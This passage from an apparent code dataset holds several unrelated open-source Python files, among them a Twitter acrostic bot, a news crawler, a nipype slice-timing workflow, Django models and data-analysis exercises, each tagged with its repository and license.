scipy.signal.fftconvolve(im_ref, image[::-1, ::-1], mode='same')\n\n # Find the maximum\n amax = np.unravel_index(np.argmax(ccorr), ccorr.shape)\n\n # Perform a 2D Gaussian fit\n x = np.arange(amax[0]-nfit, amax[0] + nfit+1)\n y = np.arange(amax[1]-nfit, amax[1] + nfit+1)\n initial_guess = (np.max(ccorr), amax[0], amax[1], 3, 3, 0, 0)\n xx, yy = np.meshgrid(x, y, indexing='ij')\n\n # Fit the neighborhood of the maximum to calculate the offset\n popt, _ = opt.curve_fit(fitting.twoD_Gaussian, (xx, yy),\n ccorr[amax[0]-nfit:amax[0]+nfit+1, amax[1]-nfit:amax[1]+nfit+1].ravel(),\n p0=initial_guess)\n # Return the RA and DEC shift, in pixels\n return popt[1] - ccorr.shape[0]//2, popt[2] - ccorr.shape[1]//2\n\n", "source": "mcoughlin/PypeIt", "license": "BSD-3-Clause"} {"text": "from Task import Task\nfrom Helper import Level\nfrom typing import Dict\nimport re\n\n\nclass PublishFromSource(Task):\n def __init__(self, name, parent, params, logMethod):\n super().__init__(name, parent, params, logMethod, None)\n self.paramRules = {\n 'Pattern': (None, True),\n 'Keys': ([], False),\n 'Path': (None, False), # Mandatory only for PublishFromFile, handled below\n 'VerdictOnMatch': (\"NotSet\", False),\n 'VerdictOnNoMatch': (\"NotSet\", False),\n }\n\n def Run(self):\n self.Log(Level.INFO, f'Running task {self.name} with params: {self.params}')\n\n filePath = self.params[\"Path\"]\n pattern = self.params[\"Pattern\"]\n keys = self.params[\"Keys\"]\n onMatch = self.GetVerdictFromName(self.params[\"VerdictOnMatch\"])\n onNoMatch = self.GetVerdictFromName(self.params[\"VerdictOnNoMatch\"])\n\n self.Log(Level.DEBUG, f\"Looking for pattern: '{pattern}'; Assigning groups as:\")\n\n try:\n for index, key in keys:\n self.Log(Level.DEBUG, f\" {index}: {key}\")\n except Exception as e:\n self.SetVerdictOnError()\n raise RuntimeError(f\"Invalid 'Keys' definition: {e}\")\n\n regex = re.compile(pattern)\n\n matchFound = False\n for line in self.generator({\"Path\": filePath}):\n match = regex.match(line)\n if match:\n self.Log(Level.INFO, f\"Match found: {match.string}\")\n matchFound = True\n for index, key in keys:\n self.Publish(key, match.group(index))\n self.Verdict = onMatch if matchFound else onNoMatch\n\n def generator(self, params: Dict):\n raise NotImplementedError()\n\n def raiseConfigError(self, variable: str):\n self.SetVerdictOnError()\n raise RuntimeError(f\"'{variable}' not defined, please review the Task configuration.\")\n\n\nclass PublishFromPreviousTaskLog(PublishFromSource):\n def __init__(self, logMethod, parent, params):\n super().__init__(\"Publish From Previous Task Log\", parent, params, logMethod)\n\n def generator(self, params: Dict):\n logMessages = self.parent.PreviousTaskLog\n for message in logMessages:\n yield message\n\n\nclass PublishFromFile(PublishFromSource):\n def __init__(self, logMethod, parent, params):\n super().__init__(\"Publish From File\", parent, params, logMethod)\n\n def generator(self, params: Dict):\n filePath = params[\"Path\"]\n if filePath is None:\n self.raiseConfigError(\"Path\")\n with open(filePath, 'r', encoding='utf-8') as file:\n for line in file:\n yield line\n", "source": "EVOLVED-5G/ELCM", "license": "Apache-2.0"} {"text": "from setuptools import setup\n\nsetup(\n name='aiogear',\n version='0.2.4rc1',\n author='Sinan Nalkaya',\n author_email='sardok@gmail.com',\n url='https://github.com/sardok/aiogear',\n description='Asynchronous gearman protocol based on asyncio',\n packages=['aiogear'],\n classifiers=[\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ]\n)\n", "source": "agronick/aiogear", "license": "MIT"} {"text": "\"\"\"\nA pytest conftest module that provides pytest fixtures for number theoretic functions.\n\"\"\"\nimport os\nimport pickle\n\nimport pytest\nimport numpy as np\n\nFOLDER = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\n\n\n###############################################################################\n# Helper functions\n###############################################################################\n\ndef read_pickle(filename):\n with open(os.path.join(FOLDER, filename), \"rb\") as f:\n print(f\"Loading {f}...\")\n d = pickle.load(f)\n return d\n\n\n###############################################################################\n# Fixtures for integer math functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef egcd():\n return read_pickle(\"egcd.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef lcm():\n return read_pickle(\"lcm.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef prod():\n return read_pickle(\"prod.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef power():\n return read_pickle(\"power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef crt():\n return read_pickle(\"crt.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef isqrt():\n return read_pickle(\"isqrt.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef iroot():\n return read_pickle(\"iroot.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef ilog():\n return read_pickle(\"ilog.pkl\")\n\n\n###############################################################################\n# Fixtures for Number Theory functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef euler_phi():\n return read_pickle(\"euler_phi.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef carmichael_lambda():\n return read_pickle(\"carmichael_lambda.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_cyclic():\n return read_pickle(\"is_cyclic.pkl\")\n\n\n###############################################################################\n# Fixtures for Number Theory functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef primes():\n return read_pickle(\"primes.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef kth_prime():\n return read_pickle(\"kth_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef prev_prime():\n return read_pickle(\"prev_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef next_prime():\n return read_pickle(\"next_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_prime():\n return read_pickle(\"is_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_prime_power():\n return read_pickle(\"is_prime_power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_perfect_power():\n return read_pickle(\"is_perfect_power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_square_free():\n return read_pickle(\"is_square_free.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_smooth():\n return read_pickle(\"is_smooth.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_powersmooth():\n return read_pickle(\"is_powersmooth.pkl\")\n", "source": "hussinhassan80/galois", "license": "MIT"} {"text": "import random\nimport sqlite3\nimport sys\nimport tweepy\n\nfrom tweepy.streaming import StreamListener\nfrom tweepy import Stream\nfrom tweepy.api import API\n\n\ndef get_config(config_file):\n \"\"\"\n :param config_file: Path to configuration file containing Twitter API keys\n :return: Dictionary of configuration variables, including Twitter API keys\n \"\"\"\n with open(config_file, 'r') as config_stream:\n split_lines = [line.split(\"=\") for line in config_stream.xreadlines()]\n out = {}\n for s in split_lines:\n if len(s) == 2:\n out[s[0].strip()] = s[1].strip()\n return out\n\n\nclass StoreStatusTextListener(StreamListener):\n \"\"\" Records the text of streamed-in statuses in a list field \"\"\"\n \n def __init__(self, api, limit=5):\n self.texts = set()\n self.myLimit = limit\n self.api = api or API()\n\n def on_status(self, status):\n self.texts.add(status.text)\n return len(self.texts) < self.myLimit\n\n def on_error(self, status):\n print \"error\", status\n\n\ndef subseqs(s):\n for a in xrange(len(s)):\n for b in xrange(a+1, len(s)+1):\n yield s[a:b]\n\n\ndef first_char(word):\n if len(word) == 0:\n return ''\n if len(word) == 1:\n return word\n if word[0] == \"#\":\n return word[1]\n return word[0]\n\n\ndef get_ngrams(text):\n clean_words = [w.strip(\"\"\"./?<>!,:;-+&*\"'\"\"\") for w\n in text.lower().split()]\n clean_nonempty_words = [cw for cw in clean_words if len(cw) > 0]\n return subseqs(clean_nonempty_words)\n\n\ndef initials(words):\n first_chars = [first_char(word).lower() for word in words if len(word) > 0]\n return \"\".join(first_chars)\n\n\ndef scrape_twitter(acrostic, api, dbpath):\n \n sub_acros = set(subseqs(acrostic))\n acros_n = len(acrostic)\n \n l = StoreStatusTextListener(api, limit=10000)\n try:\n stream = Stream(auth, l, timeout=5.0)\n stream.filter(track=(\"a\", \"of\", \"the\", \"it\", \"i\"), languages=(\"en\",))\n except:\n print \"Problem after\", len(l.texts)\n \n print len(l.texts), \"tweets scraped\"\n with sqlite3.connect(dbpath+\"/acrostician.db\") as conn:\n cur = conn.cursor()\n\n for n in xrange(1, acros_n+1):\n s = str(n)\n cur.execute(\"create table if not exists GRAM_\" + s +\n \" (Term text, Initials text, Count integer, \"\n \"Used integer);\")\n cur.execute(\"create unique index if not exists IDX_TERM_GRAM_\" + s +\n \" on GRAM_\"+s+\" (Term);\")\n cur.execute(\"create index if not exists IDX_INIT_GRAM_\" + s +\n \" on GRAM_\"+s+\" (Initials);\")\n conn.commit()\n\n ngram_counts = {}\n for text in l.texts:\n ngrams = [s for s in get_ngrams(text) if initials(s) in sub_acros]\n for n in ngrams:\n term = \" \".join(n)\n if \"http\" in term.lower() or acrostic in term.lower():\n continue\n ngram_counts[term] = ngram_counts.get(term, 0) + 1\n i = 1\n for term in ngram_counts:\n n = term.split()\n inits = initials(n)\n cur.execute(\"select Count from GRAM_\" + str(len(n)) +\n \" where Term=:term\", {\"term\": term})\n results = cur.fetchall()\n if len(results) == 0:\n count = ngram_counts[term]\n cur.execute(\"insert into GRAM_\" + str(len(n)) +\n \" values (?,?,?,1)\", (term, inits, count))\n else:\n count = ngram_counts[term] + results[0][0]\n cur.execute(\"update GRAM_\" + str(len(n)) +\n \" set Count=? where Term=?\", (count, term))\n if i % 100 == 0:\n conn.commit()\n i += 1\n conn.commit()\n\n\ndef capitalize_tweet(tw):\n sp_tw = tw.split()\n out = []\n for w in sp_tw:\n if w[0] == \"#\":\n x = \"#\"+w[1:].capitalize()\n else:\n x = w.capitalize()\n out.append(x)\n return \"\\n\".join(out)\n\n\ndef score_tup(t):\n \"\"\"\n Score an ngram tuple returned from a database ngram table. A higher scoring\n term is more deserving of inclusion in the resulting acrostic\n :param t: (Term string, initials string, Corpus count, Used count)\n :return: Fitness score for this term\n \"\"\"\n term = t[0]\n inits = t[1]\n pop = t[2]\n used = t[3]\n raw = (len(term)*pop/(10*used*used*used))**(len(inits))\n if \"#\" in term:\n score = 2*raw\n else:\n score = raw\n return max(score, 1)\n\n\ndef post_tweet(target, api, dbpath, test_only=False):\n target_len = len(target)\n with sqlite3.connect(dbpath+\"/acrostician.db\") as conn:\n\n print target\n cur = conn.cursor()\n\n cur.execute(\"create table if not exists TWEETED (Tweet text)\")\n cur.execute(\"create unique index if not exists IDX_TEXT \"\n \"on TWEETED(Tweet)\")\n\n not_yet_posted = True\n tries = 100\n\n while not_yet_posted and tries > 0:\n tweet = \"\"\n tweet_word_count = len([t for t in tweet.split() if len(t) > 0])\n while tweet_word_count < target_len:\n desired_inits = target[tweet_word_count:target_len]\n\n words_left = target_len - tweet_word_count\n options = []\n while len(options) < 200 and words_left > 0:\n cur.execute(\"select Term, Initials, Count, Used \"\n \"from GRAM_\" + str(words_left) +\n \" where Initials=? order by \" +\n \"random() limit 200\",\n (desired_inits[:words_left],))\n for tup in cur.fetchall():\n if target not in tup[0]:\n options.append(tup)\n words_left -= 1\n if len(options) == 0:\n print \"No options left\", tweet, desired_inits\n raise RuntimeError\n total_count = int(sum([score_tup(o) for o in options]))\n\n r = random.randint(1, total_count)\n i = 0\n while i < len(options):\n r = r - score_tup(options[i])\n if r <= 0:\n break\n i += 1\n if r > 0:\n new_word = options[-1][0]\n else:\n new_word = options[i][0]\n tweet = tweet + \"\\n\"+new_word\n tweet_word_count = len([t for t in tweet.split() if len(t) > 0])\n\n cap_tweet = capitalize_tweet(tweet)\n length_check = len(cap_tweet) < 141 # Check the length's okay\n\n dupe_check = True # Assume it's not a dupe...\n for _ in cur.execute(\"select Tweet from TWEETED where Tweet = ?\",\n (cap_tweet.lower(),)):\n print \"Duplicate... trying again\"\n dupe_check = False # But if it is, don't post it\n break\n\n if length_check and dupe_check:\n # Post the poem\n try:\n print cap_tweet\n except:\n print \"[Trouble printing tweet]\"\n api.update_status(cap_tweet)\n not_yet_posted = False\n\n # Update the used counts for this poem's ngrams\n selected_ngrams = get_ngrams(tweet)\n for ngram in selected_ngrams:\n n = len(ngram)\n inits = initials(ngram)\n term = \" \".join(ngram)\n cur.execute(\"select Used from GRAM_\"+str(n) +\n \" where Term = ?\", (term,))\n rows = cur.fetchall()\n for tup in rows: # Should just be a single row...\n used_count = tup[0]\n cur.execute(\"update GRAM_\"+str(n)+\" set Used = ? \" +\n \"where Term = ?\", (used_count+1, term))\n if len(rows) == 0:\n cur.execute(\"insert into GRAM_\" + str(n) +\n \" values (?,?,1,1)\", (term, inits))\n if test_only:\n print \"usage update for\", term, inits\n # Add the tweet to our list of already-posted\n cur.execute(\"insert into TWEETED values (?)\",\n (cap_tweet.lower(),))\n conn.commit()\n\n tries -= 1\n print tries, \"tries left\"\n\n\ndef usage():\n print (\"Usage: python acrosticBot.py [config file] \"\n \"[acrostic word] [read or write]\")\n\nif __name__ == \"__main__\":\n if not (len(sys.argv) == 4 or len(sys.argv) == 5):\n usage()\n sys.exit(0)\n\n config = get_config(sys.argv[1])\n ckey = config[\"CONSUMER_KEY\"]\n csec = config[\"CONSUMER_SECRET\"]\n akey = config[\"ACCESS_KEY\"]\n asec = config[\"ACCESS_SECRET\"]\n worddb = config[\"NGRAM_DB_PATH\"]\n\n auth = tweepy.OAuthHandler(ckey, csec)\n auth.set_access_token(akey, asec)\n configapi = tweepy.API(auth)\n testmode = \"test\" in sys.argv\n\n if random.randint(1, 69) == 69:\n targetWord = \"benghazi\"\n else:\n targetWord = sys.argv[2].lower().split()[0]\n\n if sys.argv[3] == 'read':\n scrape_twitter(targetWord, configapi, worddb)\n elif sys.argv[3] == 'write':\n post_tweet(targetWord, configapi, worddb, testmode)\n elif sys.argv[3] == 'both':\n scrape_twitter(targetWord, configapi, worddb)\n post_tweet(targetWord, configapi, worddb, testmode)\n else:\n usage()\n", "source": "bgawalt/acrostician", "license": "Apache-2.0"} {"text": "#! /usr/bin/env python\n\nimport sys\n\nif sys.version_info[0] == 2:\n from .avro_py2 import schema\n from .avro_py2 import io\n from .avro_py2 import protocol\n from .avro_py2 import ipc\n from .avro_py2 import datafile\n from .avro_py2 import tool\n #from .avro_py2 import txipc\nelse:\n from .avro_py3 import schema\n from .avro_py3 import io\n from .avro_py3 import protocol\n from .avro_py3 import ipc\n from .avro_py3 import datafile\n from .avro_py3 import tool\n #from .avro_py3 import txipc\n", "source": "kineticadb/kinetica-api-python", "license": "MIT"} {"text": "# --------------\n#Header files\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n#path of the data file- path\r\ndata = pd.read_csv(path)\r\n# print(data.head())\r\n\r\n#Code starts here \r\n\r\ndata['Gender'].replace('-','Agender',inplace=True)\r\ngender_count = data['Gender'].value_counts()\r\n\r\ngender_count.plot(kind='bar')\r\nplt.show()\r\n\n\n\n# --------------\n#Code starts here\r\n\r\nalignment = data.Alignment.value_counts()\r\nprint(alignment)\r\n\r\nplt.pie(alignment, labels=list(data.Alignment.unique()))\r\nplt.title('Character Alignment')\r\nplt.show()\n\n\n# --------------\n#Code starts here\r\n\r\nsc_df = data[['Strength','Combat']]\r\n# print(sc_df)\r\nsc_covariance = sc_df.cov().iloc[0,1]\r\n# print(sc_covariance)\r\nsc_strength = data['Strength'].std()\r\nsc_combat = data['Combat'].std()\r\nsc_pearson = sc_covariance/(sc_strength*sc_combat)\r\nprint(sc_pearson)\r\n\r\nic_df = data[['Intelligence','Combat']]\r\nic_covariance = ic_df.cov().iloc[0,1]\r\n# print(ic_covariance)\r\nic_intelligence = data['Intelligence'].std()\r\nic_combat = data['Combat'].std()\r\nic_pearson = ic_covariance/(ic_intelligence*ic_combat)\r\nprint(ic_pearson)\n\n\n# --------------\n#Code starts here\n\ntotal_high = data.Total.quantile(0.99)\nprint(total_high)\n\nsuper_best = data[data.Total > total_high]\n\nsuper_best_names = list(super_best.Name)\nprint(super_best_names)\n\n\n# --------------\n#Code starts here\n \nfig, (ax_1, ax_2, ax_3) = plt.subplots(3)\nax_1.boxplot(data.Intelligence,vert=False)\nax_1.set_title('Intelligence')\n\nax_2.boxplot(data.Speed,vert=False)\nax_2.set_title('Speed')\n\nax_3.boxplot(data.Power,vert=False)\nax_3.set_title('Power')\n\n\nplt.show()\n\n\n\n", "source": "aniket1899/ga-learner-dsmp-repo", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport redis\nimport os\nimport sys\nimport hashlib\nimport datetime\nimport yaml\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'utils'))\nfrom cloudAMQP_client import CloudAMQPClient\nimport news_api_client\n\n# Read configuration file\nwith open(\"../config.yml\", 'r') as ymlfile:\n config = yaml.load(ymlfile)\n\nREDIS_HOST = 'localhost'\nREDIS_PORT = 6378\nAMQP_URL = config['AMQP_URL']\nSCRAPE_NEWS_QUEUE_NAME = 'top-news-scrape-news-queue'\n\nNEWS_TIME_OUT_IN_SECONDS = 3600 * 24\nSLEEP_TIME_OUT_IN_SECONDS = 10\n\nNEWS_SOURCE = [\n 'the-new-york-times'\n]\n\n# Connect redis\nredis_client = redis.Redis(host = REDIS_HOST,\n port = REDIS_PORT)\n\n# Connect CloudAMQP\ncloudAMQP_client = CloudAMQPClient(AMQP_URL, SCRAPE_NEWS_QUEUE_NAME)\n\nwhile True:\n # GET NEWS API \u7684 news\n articles = news_api_client.getNewsFromSource(NEWS_SOURCE)\n # count how many new news need to be saved\n num_of_new_news = 0\n for article in articles:\n # encoding title, store it into redis as the key\n article_digest = hashlib.md5(article['title'].encode('utf-8')).digest().encode('base64')\n # check whether redis already have it, if not, then store it into redis and send it to CloudAMQP QUEUE\n if redis_client.get(article_digest) is None:\n num_of_new_news = num_of_new_news + 1\n article['digest'] = article_digest\n # in case there is no this field, then add current time\n if article['publishedAt'] is None:\n article['publishedAt'] = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n # insert into redis and set expiration time\n redis_client.set(article_digest, article)\n redis_client.expire(article_digest, NEWS_TIME_OUT_IN_SECONDS)\n # send this new news into Message Queue\n cloudAMQP_client.sendMessage(article)\n\n print \"Fetched %d new news.\" % num_of_new_news\n # sleep a constant time and go to the next news API call\n cloudAMQP_client.sleep(SLEEP_TIME_OUT_IN_SECONDS)\n", "source": "XinliWang/NewsCrawler", "license": "MIT"} {"text": "def slt_workflow(slicetiming_txt=\"alt+z\",SinkTag=\"func_preproc\",wf_name=\"slicetiming_correction\"):\n\n \"\"\"\n Modified version of porcupine generated slicetiming code:\n\n `source: -`\n\n\n Creates a slice time corrected functional image.\n\n Workflow inputs:\n :param func: The reoriented functional file.\n :param SinkDir:\n :param SinkTag: The output directory in which the returned images (see workflow outputs) could be found in a subdirectory directory specific for this workflow.\n\n Workflow outputs:\n\n\n\n\n :return: slt_workflow - workflow\n\n\n\n\n Balint Kincses\n kincses.balint@med.u-szeged.hu\n 2018\n\n\n \"\"\"\n\n\n\n # This is a Nipype generator. Warning, here be dragons.\n # !/usr/bin/env python\n\n import sys\n import os\n import nipype\n import nipype.pipeline as pe\n import nipype.interfaces.utility as utility\n import PUMI.func_preproc.info.info_get as info_get\n import PUMI.utils.utils_convert as utils_convert\n import nipype.interfaces.afni as afni\n import PUMI.utils.globals as globals\n\n SinkDir = os.path.abspath(globals._SinkDir_ + \"/\" + SinkTag)\n if not os.path.exists(SinkDir):\n os.makedirs(SinkDir)\n\n # Basic interface class generates identity mappings\n inputspec = pe.Node(utility.IdentityInterface(fields=['func',\n 'slicetiming_txt']),\n name='inputspec')\n inputspec.inputs.func = func\n inputspec.inputs.slicetiming_txt = slicetiming_txt\n\n # Custom interface wrapping function TR\n #NodeHash_6000004b9860 = pe.MapNode(interface=info_get.TR, name='NodeName_6000004b9860', iterfield=['in_file'])\n TRvalue = pe.Node(interface=info_get.TR,\n name='TRvalue')\n\n # Custom interface wrapping function Str2Float\n func_str2float = pe.Node(interface=utils_convert.Str2Float,\n name='func_str2float')\n\n # Custom interface wrapping function Float2Str\n func_str2float_2 = pe.Node(interface=utils_convert.Float2Str,\n name='func_str2float_2')\n\n # Wraps command **3dTshift**\n sltcor = pe.Node(interface=afni.TShift(),\n name='sltcor')\n sltcor.inputs.rltplus = True\n sltcor.inputs.outputtype = \"NIFTI_GZ\"\n #sltcor.inputs.terminal_output = 'allatonce'\n\n # Basic interface class generates identity mappings\n outputspec = pe.Node(utility.IdentityInterface(fields=['slicetimed', 'TR']),\n name='outputspec')\n\n #todo: qc timeseries\n\n # Custom interface wrapping function JoinVal2Dict\n #func_joinval2dict = pe.Node(interface=utils_convert.JoinVal2Dict,\n # name='func_joinval2dict')\n\n # Generic datasink module to store structured outputs\n ds = pe.Node(interface=io.DataSink(),\n name='ds')\n ds.inputs.base_directory = SinkDir\n #ds.inputs.regexp_substitutions = [(\"func_slicetimed/_NodeName_.{13}\", \"\")]\n\n\n\n\n\n # Create a workflow to connect all those nodes\n analysisflow = nipype.Workflow(wf_name)\n analysisflow.connect(inputspec, 'slicetiming_txt', sltcor, 'tpattern')\n analysisflow.connect(func_str2float, 'float', outputspec, 'TR')\n analysisflow.connect(inputspec, 'func', sltcor, 'in_file')\n analysisflow.connect(inputspec, 'func', TRvalue, 'in_file')\n analysisflow.connect(func_str2float_2, 'str', sltcor, 'tr')\n analysisflow.connect(TRvalue, 'TR', func_str2float_2, 'float')\n #analysisflow.connect(ds, 'out_file', func_joinval2dict, 'keys')\n #analysisflow.connect(func_str2float, 'float', func_joinval2dict, 'vals')\n analysisflow.connect(TRvalue, 'TR', func_str2float, 'str')\n analysisflow.connect(sltcor, 'out_file', ds, 'slicetimed')\n analysisflow.connect(sltcor, 'out_file', outputspec, 'slicetimed')\n\n\n\n return analysisflow\n\n\n\n\n", "source": "spisakt/PUMI", "license": "BSD-3-Clause"} {"text": "from django.db import models\nfrom datetime import *\n# Create your models here.\n\n#\u516c\u53f8\u5185\u90e8\u90e8\u95e8\nclass Departments(models.Model):\n depname=models.CharField(u'\u90e8\u95e8\u540d\u79f0',max_length=40)\n depmanagerid=models.CharField(u'\u90e8\u95e8\u7ecf\u7406',max_length=40)\n def __str__(self):\n return '%s' % self.depname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u516c\u53f8\u5185\u90e8\u95e8'\n verbose_name_plural='\u516c\u53f8\u5185\u90e8\u95e8'\n\n#\u516c\u53f8\u5de5\u7a0b\u5e08\u4fe1\u606f\nclass User(models.Model):\n uname=models.CharField(u'\u59d3\u540d',max_length=40)\n upasswd=models.CharField(u'\u7cfb\u7edf\u5bc6\u7801',max_length=40)\n uCreatedate=models.DateField(U'\u5165\u804c\u65e5\u671f',auto_now_add=True)#\u83b7\u53d6\u521b\u5efa\u65e5\u671f\n uupoto=models.ImageField(u'\u7167\u7247')\n userworkid=models.CharField(u'\u5de5\u53f7',max_length=20)\n uidcard=models.IntegerField(u'\u8eab\u4efd\u8bc1\u53f7\u7801')\n utelphone=models.IntegerField(u'\u624b\u673a\u53f7\u7801')\n uemail=models.EmailField(u'\u90ae\u7bb1\u5730\u5740')#\u81ea\u52a8\u9a8c\u8bc1\u90ae\u4ef6\u683c\u5f0f\n ufirstcontact=models.CharField(u'\u8054\u7cfb\u4eba\u59d3\u540d',max_length=40)\n uconphone=models.IntegerField(u'\u8054\u7cfb\u4eba\u53f7\u7801')\n uaddress=models.CharField(u'\u4f4f\u5740',max_length=100)\n ugender=models.BooleanField(default=True)#\u6027\u522b\n ueduschool=models.CharField(u'\u6bd5\u4e1a\u9662\u6821',max_length=40)\n ueducation=models.CharField(u'\u5b66\u5386',max_length=20)\n uorigin=models.CharField(u'\u7c4d\u8d2f',max_length=20)\n isDelect=models.BooleanField(default=False)#\u662f\u5426\u5728\u804c\u72b6\u6001\n uprojectname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,) #\u6240\u5c5e\u9879\u76ee------------\n udepname=models.ForeignKey(\"Departments\",on_delete=models.CASCADE,)#\u6240\u5c5e\u90e8\u95e8---------------\n ulasttime=models.DateField(auto_now=True)#\u83b7\u53d6\u4fee\u6539\u65e5\u671f\n def __str__(self):\n return '%s' % self.uname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u5de5\u7a0b\u5e08\u4fe1\u606f\u8868'\n verbose_name_plural='\u5de5\u7a0b\u5e08\u4fe1\u606f\u8868'\n#***********************************************************************************************\n######\u6ca1\u6709\u6ce8\u518c\u5230\u6570\u636e\u5e93\n\n\n\n\n\n#***********************************************************************************************\n#_____________________________________WEBOA_____________________________________________________\n#\u5de5\u7a0b\u5e08\u57f9\u8bad\u5b66\u4e60\u8003\u6838\u8bb0\u5f55\n#\u5de5\u7a0b\u5e08\u5c97\u4f4d\u72b6\u6001\u8f6c\u6362\u6d41\u7a0b\u8bb0\u5f55--\u9879\u76ee\u5c97\u4f4d\u8f6c\u6362\n#\u8c03\u4f11/\u4e8b\u5047/\u75c5\u5047/\u52a0\u73ed\u7533\u8bf7\u7b49\n#\u8bd5\u5de5--\u5165\u804c--\u6b63\u5f0f--\u7ea7\u522b\u63d0\u5347\u7533\u8bf7\n#\u516c\u53f8\u670d\u52a1\u4e8b\u4ef6\u8bb0\u5f55\u8868\n\n#\u9879\u76ee\u4fe1\u606f\nclass Projects(models.Model):\n pname=models.CharField(u'\u9879\u76ee\u540d\u79f0',max_length=100)\n pname=models.CharField(u'\u9879\u76ee\u7b80\u79f0',max_length=100)\n paddress=models.CharField(u'\u9879\u76ee\u5730\u5740',max_length=100)\n pcreatedate=models.DateField(auto_now_add=True)\n plastdate=models.DateField(auto_now=True)\n def __str__(self):\n return '%s' % self.pname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u9879\u76ee\u4fe1\u606f\u8868'\n verbose_name_plural='\u9879\u76ee\u4fe1\u606f\u8868'\n\n#\u9879\u76ee\u5ba2\u6237\u90e8\u95e8\u4fe1\u606f\nclass CustomerDep (models.Model):\n cdname=models.CharField(u'\u9879\u76ee\u90e8\u95e8',max_length=100)\n dpname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,)#\u9879\u76ee\u540d\u79f0------------\n def __str__(self):\n return '%s' % self.cdname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u9879\u76ee\u90e8\u95e8\u8868'\n verbose_name_plural='\u9879\u76ee\u90e8\u95e8\u8868'\n\n#\u9879\u76ee\u5ba2\u6237\u4fe1\u606f\nclass Customersess(models.Model):\n cname=models.CharField(u'\u5ba2\u6237\u59d3\u540d',max_length=40)\n cphone=models.IntegerField(u'\u5ba2\u6237\u7535\u8bdd')\n # cpasswd=models.CharField(u'\u767b\u9646\u5bc6\u7801',max_length=40)\n cprojectname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,)#\u5ba2\u6237\u6240\u5c5e\u9879\u76ee-----------\n cdepname=models.ForeignKey(\"CustomerDep\",on_delete=models.CASCADE,)#\u5ba2\u6237\u6240\u5c5e\u90e8\u95e8----------\n def __str__(self):\n return '%s' % self.cname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u5ba2\u6237\u4eba\u5458\u4fe1\u606f\u8868'\n verbose_name_plural='\u5ba2\u6237\u4eba\u5458\u4fe1\u606f\u8868'\n\n#______________________________________ITIL______________________________________________________\nclass Itilworklog(models.Model):\n pass\n\nclass Itsla(models.Model):\n pass\n\nclass Itfaulttpye(models.Model):\n pass\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "source": "abiner/lankuai", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\r\n\r\nimport string\r\nimport re\r\nimport codecs\r\nfrom lxml import etree\r\nfrom xmlparsefunctions import *\r\n\r\nsource = 'aaa-bbb-Author'\r\n\r\n# Enter font and size for entries in first language\r\nlang1font = 'LongZapSILDoulosL,Bold'\r\nlang1size = '13.800'\r\n\r\n# Enter font and size for entries in second language\r\nlang2font = 'LongZapSILDoulosL'\r\nlang2size = '12.902'\r\n\r\n# Enter font and size for part of speech (word class) indicator\r\nposfont = 'LongZapSILDoulosL,Italic'\r\npossize = '11.719'\r\n\r\n# Enter font and size for numerical meaning delimiters\r\nnumdelfont = 'LongZapSILDoulosL'\r\nnumdelsize = '12.902'\r\n\r\n# Enter font and size for parenthetical information\r\nparnotefont = 'LongZapSILDoulosL,Italic'\r\nparnotesize = '11.719'\r\n\r\n# Enter correct unicode codes for incorrectly encoded characters\r\nchardict = {u'\u00df': \"'\",\r\n u'\u00e7': u'\\u02c6',\r\n u'\u00e0': u'a\\u0301\\u0331'}\r\n\r\n# Enter max and min values of y2 in bounding box\r\ny2min = 135\r\ny2max = 680\r\n\r\nroot = etree.parse(source + '-0.xml')\r\nout = codecs.open(source + '-1.txt', 'w', encoding='utf-8')\r\n\r\nlang1 = note = pos = lang2 = num = '' # strings storing the accumulated characters in each category\r\ncharstate = '' # variable storing the state of the current character\r\norigcharlist = [] # builds an inventory of orig characters in file\r\nrevcharlist = []\r\n\r\nfor tag in root.findall('.//text'):\r\n\r\n prevcharstate = charstate\r\n \r\n bbox = tag.get('bbox').split(',')\r\n ymin = float(bbox[1])\r\n ymax = float(bbox[3])\r\n\r\n if ymax < y2min or ymin > y2max: # ignores the page headers which happen to be in same font as lang1 or lang2 expressions. based on the height of the position of the character on the page\r\n 